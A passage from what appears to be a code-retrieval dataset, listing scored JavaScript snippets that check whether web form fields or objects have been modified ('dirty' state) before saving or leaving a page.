let {value, dataset : {existingvalue}} = input;\n value = value.trim(), existingvalue = existingvalue.trim()\n return value !== existingvalue\n })\n return changeArr.some(el => el === true)\n }\n // when its a create new form\n return Array.from(textFields).filter(({value, name}) => {\n // at least the title field must be filled by valid characters and numbers\n if (name === \"title\") {\n return Boolean(value.trim().length > 0)\n }\n })\n}", "title": "" }, { "docid": "0dcdc83dfb4fd41b594f7caa55225928", "score": "0.64062715", "text": "function set_form_always_modified(form_id)\r\n{\r\n\tvar df = document.forms[form_id];\r\n\tif (!df) {\r\n\t\treturn;\r\n\t}\r\n\tdf.setAttribute('modified', \"true\");\r\n}", "title": "" }, { "docid": "03b930b9c02580929e3e142318b426d0", "score": "0.6395004", "text": "isModified(item) {\n return item.isModified(this.paths.md);\n }", "title": "" }, { "docid": "7448827b3a5e260c4c892e051192f519", "score": "0.63925326", "text": "function updateForms() {\n\n}", "title": "" }, { "docid": "9d81224bd99aee25140db2666a388ba8", "score": "0.636381", "text": "function set_form_always_modified(form)\r\n{\r\n\tif (typeof form == \"string\") {\r\n\t\tform = document.forms[form];\r\n\t}\r\n\tif (!form) {\r\n\t\treturn;\r\n\t}\r\n\tform.setAttribute('modified', \"true\");\r\n}", "title": "" }, { "docid": "d01c49bbc3fb7676b19542ae899f0203", "score": "0.6338873", "text": "function checkForm() {\n \n}", "title": "" }, { "docid": "23e00f334030c601bb5f2f9e38e0b8ae", "score": "0.6332954", "text": "function formDirty() {\n var $form = $(this);\n $form.data('dirty', false);\n $form.on('change', function () {\n $form.data('dirty', true);\n });\n $form.on('submit', function () {\n $(window).unbind('beforeunload');\n });\n }", "title": "" }, { "docid": "0c8cdba13971c17f9f2567087d14b881", "score": "0.6319618", "text": "function checkForChanges(form, showPage) {\r\n\t\tvar id = form.attr('id');\r\n\t\t\r\n\t\tif (form.hasClass('questionLocked')) {\r\n\t\t\treturn false;\r\n\t\t}\r\n\t\tif (!validate(form)) {\r\n\t\t\tif (!showPage) { toggleExpandQuestion(form, true); }\r\n\t\t\treturn false;\r\n\t\t}\r\n\r\n\t\tvar anythingChanged = false;\r\n\t\tform.find('.choiceTextField').each ( function(i, ans) {\r\n\t if (ans.value != ans.defaultValue) {\r\n\t \tans.defaultValue = ans.value;\r\n\t \tanythingChanged = true;\r\n\t }\r\n\t\t});\r\n\t\tvar ansCounter = form.find('.answerCount')\r\n\t\tvar count = form.find('.choiceTextField').length.toString()\r\n\t\tif (ansCounter.html() != count) {\r\n\t\t\tansCounter.html(count)\r\n\t\t\tanythingChanged = true;\r\n\t\t}\r\n\t\tvar qtField = form.find('.questionText');\r\n\t\tif (qtField.val() != qtField[0].defaultValue) {\r\n\t\t\tqtField[0].defaultValue = qtField.val(); \r\n\t\t\tanythingChanged = true;\r\n\t\t}\r\n\t\tvar qtypeOrig = form.find('.questionTypeOrig')\r\n\t\tvar qtype = form.find('.questionType').val()\r\n\t\tif (qtype != qtypeOrig.val()) {\r\n\t\t\tanythingChanged = true;\r\n\t\t\tqtypeOrig.val(qtype);\r\n\t\t}\t\t\r\n\t\tvar multiselect = form.find('.multiselectChk');\r\n\t\tvar initialState = form.find('.multiselectOrig').html() == \"true\";\r\n\t\tif (multiselect[0].checked != initialState) {\r\n\t\t\tanythingChanged = true;\r\n\t\t\tform.find('.multiselectOrig').html(multiselect[0].checked.toString());\r\n\t\t}\r\n \tif (!anythingChanged) {\r\n \t\treturn false; \r\n \t}\r\n\t\t\r\n\t\tif (id) {\r\n\t\t\tvar action = '/question/update_JSON/'+id;\r\n\t\t}\r\n\t\telse {\r\n\t\t\tvar action = '/question/save_JSON/';\r\n\t\t}\r\n\t\t\r\n\t\treturn action;\r\n\t}", "title": "" }, { "docid": "6ed1a138af4950337d28680cd4446993", "score": "0.6310267", "text": "function anyChanged()\r\n{\r\n\tif ( isDirty )\r\n\t{\r\n\t\tif ( confirm( localMessages.confirmDiscard ) )\r\n\t\t{\r\n\t\t\treturn true;\r\n\t\t}\r\n\t\telse\r\n\t\t{\r\n\t\t\treturn false;\r\n\t\t}\r\n\t}\r\n\r\n\treturn true\r\n}", "title": "" }, { "docid": "d1cf3360a8307e8a330c9606bf8da832", "score": "0.6241101", "text": "hasChanges() {\r\n return (!this.editor.isFormulaEmpty() && this.editorListener.getIsContentChanged());\r\n }", "title": "" }, { "docid": "0d5a7de2e38d8c66f6cf5c4765b9f942", "score": "0.61844903", "text": "function updateForm() {\n\n}", "title": "" }, { "docid": "bc93a44b10b02872acb9b6b3c6d4174b", "score": "0.616692", "text": "function is_changed(name) {\n for(var i = 0; i < submitNames.length; i++) {\n if(name == submitNames[i]) {\n return name && true;\n }\n }\n return false;\n}", "title": "" }, { "docid": "f6b6692aa2f99e91dda20f6cbcbe5fa6", "score": "0.6102134", "text": "function getIdentifyupdatedfields() {\n \n var attributes = Xrm.Page.data.entity.attributes.get();\n\n for (var i in attributes) {\n \n var attribute = attributes[i];\n\n if (attribute.getIsDirty())\n\n alert(\"attribute dirty: \" + attribute.getName());\n\n }\n\n}", "title": "" }, { "docid": "e4ba340b83f26b8fd62c04cb67673c27", "score": "0.60699093", "text": "function isDirty() {\n return dirty;\n }", "title": "" }, { "docid": "13546e10d4595f0e6d741b486a4e1f98", "score": "0.6047238", "text": "function miqCheckForChanges() {\n if (ManageIQ.angular.scope) {\n if (angular.isDefined(ManageIQ.angular.scope.angularForm) && ManageIQ.angular.scope.angularForm.$dirty) {\n var answer = confirm(__(\"Abandon changes?\"));\n if (answer) {\n ManageIQ.angular.scope.angularForm.$setPristine(true);\n }\n return answer;\n }\n } else {\n if ((($('#buttons_on').length &&\n $('#buttons_on').is(\":visible\")) ||\n ManageIQ.changes !== null) &&\n !$('#ignore_form_changes').length) {\n return confirm(__(\"Abandon changes?\"));\n }\n }\n // use default browser reaction for onclick\n return true;\n}", "title": "" }, { "docid": "d4ff935c71b883a746c1c18f2dec8bfa", "score": "0.60272366", "text": "function validateForm() {\n return isSubmitInfo;\n }", "title": "" }, { "docid": "0cd4fd2aa2586ab31caf272b299637eb", "score": "0.6003253", "text": "function checkIfEditedFieldChanged(mustsave, mustask) {\n var newValue = \"\";\n \n var bugId = editedFieldid.match(/^\\d{1,6}/);\n var fieldName = editedFieldid.substr(bugId[0].length + 1);\n \n if(fieldName == \"bug_status\")\n {\n checkIfBugStatusFieldChanged(mustsave, mustask, fieldName);\n }\n else if(fieldName == \"assigned_to\")\n {\n checkIfAssignedToFieldChanged(mustsave, mustask, fieldName);\n }\n\n \n editedFieldid = \"\";\n originalValue = \"\";\n }", "title": "" }, { "docid": "c753900118727da528fe02374adb66cd", "score": "0.59848195", "text": "function updateFormDocument( itcb ) {\n function onUpdatedFormData( err ) {\n if (!err ) { Y.log( 'Saved form state has been updated.', 'debug', NAME ); }\n itcb( err );\n }\n\n if( currentActivity._isEditable() ) {\n context.attachments.updateFormDoc( context, template, onUpdatedFormData );\n return;\n }\n\n itcb( null );\n }", "title": "" }, { "docid": "0a0d31a4246a05807b19c0c67b9655ed", "score": "0.5966186", "text": "fieldHasChanged() {\n // NOTE: Because the field value is no longer cached, there is\n // very little for us to do. Only validation.\n\n // request validation at the form level\n // ... NOTE: because field validation can involve inner-dependent fields,\n // the entire form is validated (i.e. all fields, per the right conditions)\n this.getParentForm().validate();\n }", "title": "" }, { "docid": "7e8f80067bc225a073addb236821dddc", "score": "0.59632754", "text": "function checkChanges() {\r\n\tif (document.getElementById(\"changes\").value == \"1\") {\r\n\t\tif (confirm(\"Salir sin grabar cambios?\")) {\r\n\t\t\treturn true;\r\n\t\t}\r\n\t\telse return false;\r\n\t}\r\n\treturn true;\r\n}", "title": "" }, { "docid": "ff27d0c664ca284b9cd94e7858df177e", "score": "0.59403735", "text": "function checkEdit(){\r\n\tvar name = document.form1.editedName;\r\n\tvar desc = document.form1.editedDesc;\r\n\tif((name.value==\"\") || (name.value==null)) {\r\n\t\talert(\"Please fill the name field\");\r\n\t\tname.focus();\r\n\t\treturn false;\r\n\t}\r\n\tif((desc.value==\"\") || (desc.value==null)) {\r\n\t\talert(\"Please fill the description field\");\r\n\t\tdesc.focus();\r\n\t\treturn false;\r\n\t}\r\n}", "title": "" }, { "docid": "174b0bfd3e93a32fdf57db8b36fc5acd", "score": "0.5930237", "text": "get isDirty() {\n return this._dirtyCount > 0;\n }", "title": "" }, { "docid": "90add2785e24bb2544950e45ec116494", "score": "0.5921619", "text": "hasChanged(){\n\t\tvar changed = this.changed;\n\t\tthis.changed = false;\n\t\treturn changed;\n\t}", "title": "" }, { "docid": "9e781e32ba4b583c0addc7109cb3bdc1", "score": "0.58910054", "text": "function isDataDirty()\r\n{\r\n var i;\r\n for (i = 0; i < gIX2ConstField.length; ++i)\r\n {\r\n if ( funcGetConstituentFieldValue(i) != gArrOrigFormData[(gIX2ConstField[i][IX2_IX])] )\r\n {\r\n if (( isEmpty(funcGetConstituentFieldValue(i)) && isEmpty(gArrOrigFormData[(gIX2ConstField[i][IX2_IX])]) ) ||\r\n ( (gIX2ConstField[i][IX2_IX] == IX_ORG) && (!funcGetConstituentFieldValue(i).localeCompare(\"N\")) ))\r\n continue;\r\n\r\n return(true);\r\n }\r\n }\r\n return(false);\r\n}", "title": "" }, { "docid": "81c67018687ae342e7d7443c2b8df0fc", "score": "0.5886001", "text": "canViewOther() {\n let formStatus = this.state.status;\n return formStatus != FORM_STATUS.edit_changes;\n }", "title": "" }, { "docid": "eb4fce4829113034dc8a857f485b6100", "score": "0.5878308", "text": "function isTouched(id, field){\t\n\t\tvar elemName;\n\t\t\n\t\tif(id)\n\t\t\telemName = field + \"_\" + id;\n\t\telse\n\t\t\telemName = field;\t\t\t\t\t\t\n\t\t\n\t\tif( !vm.nsmEditFdForm )\n\t\t\treturn;\t\t\t\n\t\t\t\n\t\tif(\t!vm.nsmEditFdForm[elemName] ) \n\t\t\treturn;\n\t\t\t\n\t\tvar elem = vm.nsmEditFdForm[elemName];\t\t\t\t\n\t\treturn elem.$touched;\t\t\t\n\t}", "title": "" }, { "docid": "49edeab00c0f372a8cbba1f0382df5a6", "score": "0.5876921", "text": "function onEditClick() {\n\t\t\t\t\n\t\t\t\tif (formInitted === false) {\n\t\t\t\t\t// So all the various plugins can run their magic on relevant inputs...\n\t\t\t\t\t$wrap.trigger('cmf.newform', { 'wrap':$form });\n\t\t\t\t\tformInitted = true;\n\t\t\t\t\t\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tclearCurrentForm();\n\t\t\t\t\n\t\t\t\t$modalBody.append($form);\n\t\t\t\t$modal.modal('toggle');\n\t\t\t\t$currentForm = $form;\n\t\t\t\t$currentItem = $self;\n\t\t\t\t\n\t\t\t\treturn false;\n\t\t\t}", "title": "" }, { "docid": "4508700ae6fad48616d68d0e97529543", "score": "0.5866425", "text": "isDirty() {\n return Object.keys(this._prev_attributes).length > 0;\n }", "title": "" }, { "docid": "eb6d0ff24f8ce21cebf32c6a96b6ba93", "score": "0.5863446", "text": "function fieldChanged(formField) {\n if( formField.defaultValue != formField.value ){\n return true;\n }\n else {\n return false;\n }\n}", "title": "" }, { "docid": "90f28a967264b568ee4894b889d67737", "score": "0.5846881", "text": "verifyForm() {\n log.debug('App - verifyForm()');\n\n const activeForm = this.getActiveForm();\n\n if (activeForm === 'null') {\n return true;\n }\n\n switch (activeForm) {\n case 'loadCharacter': return this.verifyLoginForm();\n case 'createCharacter': return this.verifyJoinForm();\n default: break;\n }\n\n return true;\n }", "title": "" }, { "docid": "28a64b7fe425b9ae2b6354f7b7953c6f", "score": "0.58430094", "text": "function isModified(sess) {\n return originalHash != hash(sess) || originalId != sess.id;\n }", "title": "" }, { "docid": "2c4e93d841a46d450da61c5dfa7869fc", "score": "0.5829277", "text": "function checkfields(form)\n{\n\tif(confirm(\"Είστε σίγουρος για την διαγραφή;\"))\n\t\treturn true;\n\telse\n\t\treturn false;\n}", "title": "" }, { "docid": "c3510ef463ed3720d385bb328a17f712", "score": "0.58191943", "text": "changed() {\n const fieldsCheck = this.fields.some((key) => this.values[key]() !== app.data.settings[this.addPrefix(key)]);\n const checkboxesCheck = this.checkboxes.some((key) => this.values[key]() !== (app.data.settings[this.addPrefix(key)] === '1'));\n const objectsCheck = this.objects.some((key) => JSON.stringify(this.values[key]()) !== app.data.settings[this.addPrefix(key)]);\n\n return fieldsCheck || checkboxesCheck || objectsCheck;\n }", "title": "" }, { "docid": "49e4eb53c3113489bf96e81dcaba0144", "score": "0.5789049", "text": "function check_form(form_name){\n var valid = false;\n $(\"#fuseform\").find(\"input, textarea\").each(function(){\n if ($(this).prop(\"id\").indexOf(form_name) >= 0 &&\n $(this).prop(\"id\").indexOf(\"live_option\") < 0){\n if ($(this).prop(\"type\") != \"checkbox\" &&\n $(this).val() != \"\"){\n valid = true;\n }\n if ($(this).prop(\"type\") == \"checkbox\" &&\n $(this).prop(\"checked\")){\n valid = true;\n }\n }\n });\n return valid;\n }", "title": "" }, { "docid": "3f5bd3a507315e93cb9d85ff8cf6c348", "score": "0.57835954", "text": "changed() {\n var fieldsCheck = this.fields.some(\n key => this.values[key]() !== app.data.settings[this.addPrefix(key)]);\n var checkboxesCheck = this.checkboxes.some(\n key => this.values[key]() !== (app.data.settings[this.addPrefix(key)] == '1'));\n return fieldsCheck || checkboxesCheck\n }", "title": "" }, { "docid": "9da54227593e06fa6a04c8ded6b417d8", "score": "0.57675844", "text": "get isDirty() {\n return this._dataDirty || this._inputDirty;\n }", "title": "" }, { "docid": "b8781a73314ff56a86e56247177a7ff0", "score": "0.57571346", "text": "get isDirty() {\n return this._additionsHead !== null || this._movesHead !== null ||\n this._removalsHead !== null || this._identityChangesHead !== null;\n }", "title": "" }, { "docid": "b8781a73314ff56a86e56247177a7ff0", "score": "0.57571346", "text": "get isDirty() {\n return this._additionsHead !== null || this._movesHead !== null ||\n this._removalsHead !== null || this._identityChangesHead !== null;\n }", "title": "" }, { "docid": "b8781a73314ff56a86e56247177a7ff0", "score": "0.57571346", "text": "get isDirty() {\n return this._additionsHead !== null || this._movesHead !== null ||\n this._removalsHead !== null || this._identityChangesHead !== null;\n }", "title": "" }, { "docid": "b8781a73314ff56a86e56247177a7ff0", "score": "0.57571346", "text": "get isDirty() {\n return this._additionsHead !== null || this._movesHead !== null ||\n this._removalsHead !== null || this._identityChangesHead !== null;\n }", "title": "" }, { "docid": "27df53e25e9e13c451cdcb685cf40738", "score": "0.574088", "text": "validateForm() {\n\t\tconst {comment} = this.state;\n\t\treturn comment.length > 0;\n }", "title": "" }, { "docid": "bc9cacc5c421e5805862ff4e7b68a1e9", "score": "0.57347095", "text": "function checkForm(formId)\n{\n b = true;\n var elements = getInputs(formId);\n checkElements(elements);\n return b;\n}", "title": "" }, { "docid": "695a5667e0fe040c77faf9e7e9cd3740", "score": "0.572874", "text": "function _q_changedFields(){\n\tif( this._status == null ) return false;\n\tstruct = new Object();\n\t// loop through form elements\n\tfor( var j=0; j < this._fields.length; j++ ){\n\t\tif( this[this._fields[j]].getValue() != this[this._fields[j]].defaultValue ){\n\t\t\tstruct[this._fields[j]] = this[this._fields[j]].getValue();\n\t\t}\n\t}\n\treturn struct;\n}", "title": "" }, { "docid": "6f3760b2e248d10e5ad41fa8a62b42e0", "score": "0.5721844", "text": "function updateForm(form){\n var checks=fdjtDOM.getInputs(form,\"ACCESS\");\n var isopen=false; var i=0; var lim=checks.length;\n while (i<lim)\n if (checks[i].value===':OPEN') {\n isopen=checks[i].checked; break;}\n else i++;\n if (isopen) fdjtDOM.addClass(form,\"isopen\");\n else fdjtDOM.dropClass(form,\"isopen\");}", "title": "" }, { "docid": "97be819dede514f6fdf11a2070275cda", "score": "0.57196766", "text": "function validateFieldChanges(evt, action) {\n // action : 'ok', 'fusion' ou 'cancel'\n if (options.fieldCollection.getActiveFieldIndex() === '?') {\n return true;\n }\n let fieldIndex = options.fieldCollection.getActiveFieldIndex();\n let currentField = options.fieldCollection.getActiveField();\n let records = options.recordCollection.getRecords();\n\n if (action === 'cancel') {\n // on restore le contenu du champ\n $editTextArea.val(options.fieldLastValue);\n $editTextArea.trigger('keyup.maxLength');\n options.textareaIsDirty = false;\n return true;\n }\n\n if (\n action === 'ask_ok' &&\n options.textareaIsDirty &&\n currentField._status === 2\n ) {\n alert(localeService.t('edit_hetero'));\n return false;\n }\n let o = document.getElementById('idEditField_' + fieldIndex);\n if (o !== undefined) {\n let t = $editTextArea.val();\n for (let recordIndex in records) {\n let record = options.recordCollection.getRecordByIndex(\n recordIndex\n );\n if (!record._selected) {\n continue; // on ne modifie pas les fiches non selectionnees\n }\n\n if (action === 'ok' || action === 'ask_ok') {\n options.recordCollection.addRecordFieldValue(\n recordIndex,\n fieldIndex,\n {\n value: t,\n merge: false,\n vocabularyId: null\n }\n );\n } else if (action === 'fusion' || action === 'ask_fusion') {\n options.recordCollection.addRecordFieldValue(\n recordIndex,\n fieldIndex,\n {\n value: t,\n merge: true,\n vocabularyId: null\n }\n );\n }\n\n checkRequiredFields(recordIndex, fieldIndex);\n }\n }\n\n populateFields();\n\n options.textareaIsDirty = false;\n\n onSelectField(evt, fieldIndex);\n return true;\n }", "title": "" }, { "docid": "918007a5bc425f6a1e90f1d16ac31239", "score": "0.5716778", "text": "function areCustomAttributesDirty(material) {\n\t for (var name in material.attributes) {\n\t if (material.attributes[name].needsUpdate) return true;\n\t }\n\t return false;\n\t }", "title": "" }, { "docid": "162e8bc1d7a98c007211b54ca6410cce", "score": "0.5710572", "text": "function check_changes() {\n if (!warning_changes) return true;\n\n r = confirm('You have unsaved changes.\\nClick \\'Ok\\' if you want to save them before leaving the page');\n if (r) {\n // save translation before going to quit page\n warning_changes = false;\n $('edit_form').submit();\n }\n}", "title": "" }, { "docid": "53cd236f0f39a41575c21d5c3ac31005", "score": "0.5709904", "text": "function alertOnUnload() {\n if (!muteAlertOnChange) {\n for (var i = 0; i < document.forms.length; i++) {\n var currForm = document.forms[i];\n if ('true' == '' + currForm.getAttribute('alertOnChange')) {\n for (var j = 0; j < currForm.elements.length; j++) {\n var anInput = currForm.elements[j];\n if (!('true' == '' + anInput.getAttribute('excludeFromAlert')) && \"\" + anInput.getAttribute('oldValue') == \"1\") {\n var oldValue = (__oldValues__[anInput.id] + \"\").trim();\n if ($(anInput).attr(\"maleficoTiny\")) {\n if (tinymce.EditorManager.get($(anInput).attr(\"id\")).isDirty()) {\n //alert(\"isDirty:\" + tinymce.EditorManager.get($(anInput).attr(\"id\")).isDirty());\n if (isExplorer) {\n event.returnValue = i18n.FORM_IS_CHANGED + \" \\\"\" + anInput.name + \"\\\"\";\n } else {\n return i18n.FORM_IS_CHANGED + \" \\\"\" + anInput.name + \"\\\"\";\n }\n }\n\n } else if ($(anInput).val().trim() != oldValue) {\n if (isExplorer) {\n event.returnValue = i18n.FORM_IS_CHANGED + \" \\\"\" + anInput.name + \"\\\"\";\n } else {\n return i18n.FORM_IS_CHANGED + \" \\\"\" + anInput.name + \"\\\"\";\n }\n }\n }\n }\n }\n }\n }\n}", "title": "" }, { "docid": "fb727fdaa57870172af7711388bdff09", "score": "0.57094455", "text": "get isDirty() {\n return this._additionsHead !== null ||\n this._movesHead !== null ||\n this._removalsHead !== null;\n }", "title": "" }, { "docid": "a239457adaebd3ae4f940af7421b2bb7", "score": "0.5708987", "text": "function isModified(sess) {\r\n return originalId !== sess.id || originalHash !== hash(sess);\r\n }", "title": "" }, { "docid": "d08dd6b906c7799c7858ea116bfe1eff", "score": "0.5690627", "text": "function isModuloFormValid(){\t \n var v1 = usuariosSupervisorAdmEdCombo.isValid();\n return( v1 );\n }", "title": "" }, { "docid": "6188e538b94d42c5f02d1f24615b5102", "score": "0.5689795", "text": "function isModified(sess) {\n return originalId !== sess.id || originalHash !== hash(sess);\n }", "title": "" }, { "docid": "b341fe3de337948ebe74950ca9c8a5c5", "score": "0.5688077", "text": "function areCustomAttributesDirty( material ) {\r\n\r\n\t\tfor ( var name in material.attributes ) {\r\n\r\n\t\t\tif ( material.attributes[ name ].needsUpdate ) return true;\r\n\r\n\t\t}\r\n\r\n\t\treturn false;\r\n\r\n\t}", "title": "" }, { "docid": "8ffa0a780588dc4ddd4e372cd1ca0dd6", "score": "0.5681074", "text": "function validateForm() {\n return content.length > 0;\n }", "title": "" }, { "docid": "c72dcce300aef87db06cbdbda5dd6dea", "score": "0.5679293", "text": "function validateForm() {\n return Mname.length > 0 && Mstat.length > 0;\n }", "title": "" }, { "docid": "a2ce5e20742501b47c961a3b992a07f7", "score": "0.5670728", "text": "function formExists() \n{\n var dom = dw.getDocumentDOM();\n var forms = dom.getElementsByTagName(\"FORM\");\n \n return (forms.length > 0);\n}", "title": "" }, { "docid": "8250e36c20895224a750446f5a2ddc3f", "score": "0.56643254", "text": "function hasViewState(form) {\n\t\tfor (var i = 0; i < form.elements.length; i++) {\n\t\t\tif (form.elements[i].name == viewStateParam) {\n\t\t\t\treturn true;\n\t\t\t}\n\t\t}\n\n\t\treturn false;\n\t}", "title": "" }, { "docid": "9fa5367be71740c9423a2c4006d3d46f", "score": "0.5663349", "text": "function verifySubmitButton() {\n if (isEmpty(updates)) {\n submitChangeButton.disabled = true;\n } else {\n submitChangeButton.disabled = false;\n }\n}", "title": "" }, { "docid": "22a4d7af247e7add263acec915dd3d0f", "score": "0.56617653", "text": "function areCustomAttributesDirty ( material ) {\r\n\r\n for ( var a in material.attributes ) {\r\n\r\n if ( material.attributes[ a ].needsUpdate ) return true;\r\n\r\n }\r\n\r\n return false;\r\n\r\n }", "title": "" }, { "docid": "913e629b84023f98ef3c8220f0e8543f", "score": "0.5649307", "text": "get isDirty() {\n return this._rawEditor.isDirty;\n }", "title": "" }, { "docid": "1f036c5fd22ce7d7c4ee6caded5753c6", "score": "0.56399745", "text": "function checkFormTab(){\n\tif( watchFlag == true){\n\t\tfrmOptions.btnClearWatch.isVisible = true;\n\t\tfrmOptions.btnClearWatch.setVisibility(true);\n\t}\n\telse{\n\t\tfrmOptions.btnClearWatch.isVisible = false;\n\t}\n}", "title": "" }, { "docid": "1ce493144643e2a308f1e1d924cf7949", "score": "0.5635393", "text": "function areCustomAttributesDirty( material ) {\r\n\r\n\t\tfor ( var a in material.attributes ) {\r\n\r\n\t\t\tif ( material.attributes[ a ].needsUpdate ) return true;\r\n\r\n\t\t}\r\n\r\n\t\treturn false;\r\n\r\n\t}", "title": "" }, { "docid": "6ef46b5039258401bf3b6973ab994555", "score": "0.5633595", "text": "get isDirty() {\n return this._user.editor.model.value.text !== this._settings.raw;\n }", "title": "" }, { "docid": "dae24b4080aaf08502b022315ca11018", "score": "0.5628654", "text": "function canApplyServerBehavior(sbObj)\r\n{\r\n var success = true;\r\n var errMsgStr = \"\"; \r\n \r\n if (findAllForms().length == 0) { //if there are no forms\r\n errMsgStr += MM.MSG_NoForms;\r\n success = false; \r\n } \r\n\r\n if (errMsgStr) alert(errMsgStr); //popup error message\r\n \r\n return success;\r\n}", "title": "" }, { "docid": "63f6bd044322a4878b4b1136451af819", "score": "0.5627104", "text": "function validateChangeInfo() {\n if (!validateNames())\n return false;\n else if (!validatePhone())\n return false;\n else if (!validateEmail())\n return false;\n else if (!validateSubject())\n return false;\n else if (!validateNotes())\n return false;\n\n // all fields are valid\n\n const form = document.appt_info_form;\n // call changeAppointmentInformation\n changeAppointmentInformation(form.first_name.value.trim(), form.last_name.value.trim(), form.phone.value.replace(/\\D/g, '').substring(0, 10), form.email.value,\n document.getElementById(\"subject\").value, document.getElementById(\"notes\").value);\n return true;\n}", "title": "" }, { "docid": "fc780800fe4cd68be039877871a0804c", "score": "0.5624704", "text": "_checkEditEnabled() {\n const { user } = this.props\n const valid = Object.values(this.state).every((field) => field.valid)\n return valid && user.status !== USER_EDITING_STATUS\n }", "title": "" }, { "docid": "9662af73d37891425295162ce9eb59cc", "score": "0.56160355", "text": "function OnCmdUpdate()\r\n{\r\n CheckForUpdate();\r\n}", "title": "" }, { "docid": "94a4be7013478df68ff218061ce38595", "score": "0.5613559", "text": "isFormValid() {\n\t\t\treturn this.name;\n\t\t}", "title": "" }, { "docid": "b9d01d5e3912285af9c1b21bab6786c5", "score": "0.56110215", "text": "function fieldChanged(){}", "title": "" }, { "docid": "b7fc3197b0193ce1c6268fa66ac7beb2", "score": "0.56101006", "text": "function areCustomAttributesDirty( material ) {\n\n\t\tfor ( var name in material.attributes ) {\n\n\t\t\tif ( material.attributes[ name ].needsUpdate ) return true;\n\n\t\t}\n\n\t\treturn false;\n\n\t}", "title": "" }, { "docid": "b7fc3197b0193ce1c6268fa66ac7beb2", "score": "0.56101006", "text": "function areCustomAttributesDirty( material ) {\n\n\t\tfor ( var name in material.attributes ) {\n\n\t\t\tif ( material.attributes[ name ].needsUpdate ) return true;\n\n\t\t}\n\n\t\treturn false;\n\n\t}", "title": "" }, { "docid": "b7fc3197b0193ce1c6268fa66ac7beb2", "score": "0.56101006", "text": "function areCustomAttributesDirty( material ) {\n\n\t\tfor ( var name in material.attributes ) {\n\n\t\t\tif ( material.attributes[ name ].needsUpdate ) return true;\n\n\t\t}\n\n\t\treturn false;\n\n\t}", "title": "" }, { "docid": "b10aa9aed14835ddb24b31db7e3c7862", "score": "0.5610026", "text": "function checkFormChange(link, text) {\n var ok = true;\n for (var form=0; form < document.forms.length; form++) {\n what = document.forms[form];\n for (var i=0, j=what.elements.length; i<j; i++) {\n\n if (what.elements[i].type == \"checkbox\" || what.elements[i].type == \"radio\") {\n if (what.elements[i].checked != what.elements[i].defaultChecked) {\n ok = false; break;\n }\n } else if (what.elements[i].type == \"text\" || what.elements[i].type == \"hidden\" || what.elements[i].type == \"password\" || what.elements[i].type == \"textarea\") {\n if (what.elements[i].value != what.elements[i].defaultValue) {\n ok = false; break;\n }\n } else if (what.elements[i].type == \"select-one\" || what.elements[i].type == \"select-multiple\") {\n for (var k=0, l=what.elements[i].options.length; k<l; k++) {\n if (what.elements[i].options[k].selected != what.elements[i].options[k].defaultSelected) {\n ok = false; break;\n }\n }\n } else if (what.elements[i].type == \"submit\") {\n break;\n } else {\n alert(what.elements[i].type);\n }\n }\n }\n if (ok) {\n window.location.href = link;\n return;\n }\n if (confirm(text == null ? \"Data will be lost. Continue ?\" : text)) {\n window.location.href = link;\n return;\n }\n}", "title": "" }, { "docid": "c94fbdb23e77962f257eebdca0f62104", "score": "0.56052816", "text": "_changedSincePublish (){\n\t\treturn true;\n\n\t\t/* const sections = this.sections;\n\n\t\tfor(let section of sections)\n\t\t\tif(section.saved_text !== section.original_text)\n\t\t\t\treturn true;\n\n\t\treturn false; */\n\t}", "title": "" }, { "docid": "610b489cb5ecc32079a080d023ee4487", "score": "0.5604185", "text": "function checkFormValidations(){\r\n var flag=true;\r\n flag=submitValildations();\r\n \r\n if(!flag)\r\n return flag;\r\n\r\n if(flag)\r\n enableAllProperties();\r\n\r\n return flag;\r\n\r\n}", "title": "" }, { "docid": "b79f640095bd838acf31a0d0a766306b", "score": "0.5599306", "text": "function okToSend() {\n return !$($form + ' .nos-help').is(':visible') && !$($form + ' .nos-untouched[required]').is(':visible');\n }", "title": "" }, { "docid": "08946851a788bf9447b01c9abde11a53", "score": "0.5592609", "text": "function check_adds_edit(theForm) {\n\n var reason = \"\";\n\n var check = $('#set_field').val();\n\n if(check==1)\n {\n\n reason += validateEmpty(theForm.add_img);\n }\n else if(check==2)\n {\n\n reason += validateEmpty(theForm.script_code);\n \n }\n \n //reason += validateEmpty(theForm.district);\n reason += validateEmpty(theForm.title);\n //reason += validateText(theForm.country);\n \n \n if (reason != \"\") {\n\n alert(\"Some fields need correction:\\n\" + reason);\n return false;\n\n }\n\n return true;\n}", "title": "" }, { "docid": "4071ced50cb421733dafe2f43f3050f2", "score": "0.5591253", "text": "function checkForNewMode(id)\r\n{\r\n var frmDocument = document.getElementById(id);\r\n\r\n // If the document form was found\r\n if (frmDocument != null)\r\n {\r\n // Verify the document should check for a new mode\r\n if (frmDocument.checkForNewMode.value == 'true')\r\n {\r\n // If the page mode is new\r\n if (frmDocument.modeOfPage.value == '1' || frmDocument.modeOfPage.value == '2' )\r\n {\r\n return false;\r\n }\r\n }\r\n }\r\n\r\n return true;\r\n\r\n}", "title": "" }, { "docid": "8fb525f9a333472b650024e933e15cf3", "score": "0.5580867", "text": "function canApplyServerBehavior(sbObj)\n{\n var success = true;\n var errMsgStr = \"\"; \n \n // Cannot apply insert or update record in live data because the asp.net server\n // renames forms with runat=server.\n if (dw.getLiveDataMode())\n {\n errMsgStr = MM.MSG_CannotApplyInLiveData;\n success = false;\n }\n \n if (!errMsgStr && !formExists())\n {\n errMsgStr += MM.MSG_NoForms;\n success = false; \n } \n\n if (errMsgStr)\n {\n alert(errMsgStr);\n }\n\n return success;\n}", "title": "" }, { "docid": "f2b2575dfce8da86adb4d32b40aac39c", "score": "0.5573388", "text": "function changed() {\n var ctrl = $(\"#edit_targetUrl\");\n if (ctrl.attr('data_orig') != ctrl.val())\n return true;\n ctrl = $(\"#edit_gname\");\n if (ctrl.attr('data_orig') != ctrl.val())\n return true;\n ctrl = $(\"#edit_image\");\n if (ctrl.attr('data_orig') != ctrl.attr('src'))\n return true;\n return false;\n }", "title": "" }, { "docid": "a9d94e394ee2d47939133c296dd0b11e", "score": "0.55686784", "text": "function fieldChanged(field)\n{\n if (!mpCreds)\n {\n return true;\n }\n for (var ind=0; ind<mpCreds.fields.length; ind++)\n {\n if (mpCreds.fields[ind].id == input.id) {\n if (input.value != mpCreds.fields[ind].value) {\n return true;\n }\n else\n {\n return false;\n }\n }\n }\n // field not found, so it is changed\n return true;\n}", "title": "" }, { "docid": "d8f6d535a30acca7bc726cddb7231d67", "score": "0.55650944", "text": "function areCustomAttributesDirty ( material ) {\n\n\t\tfor ( var a in material.attributes ) {\n\n\t\t\tif ( 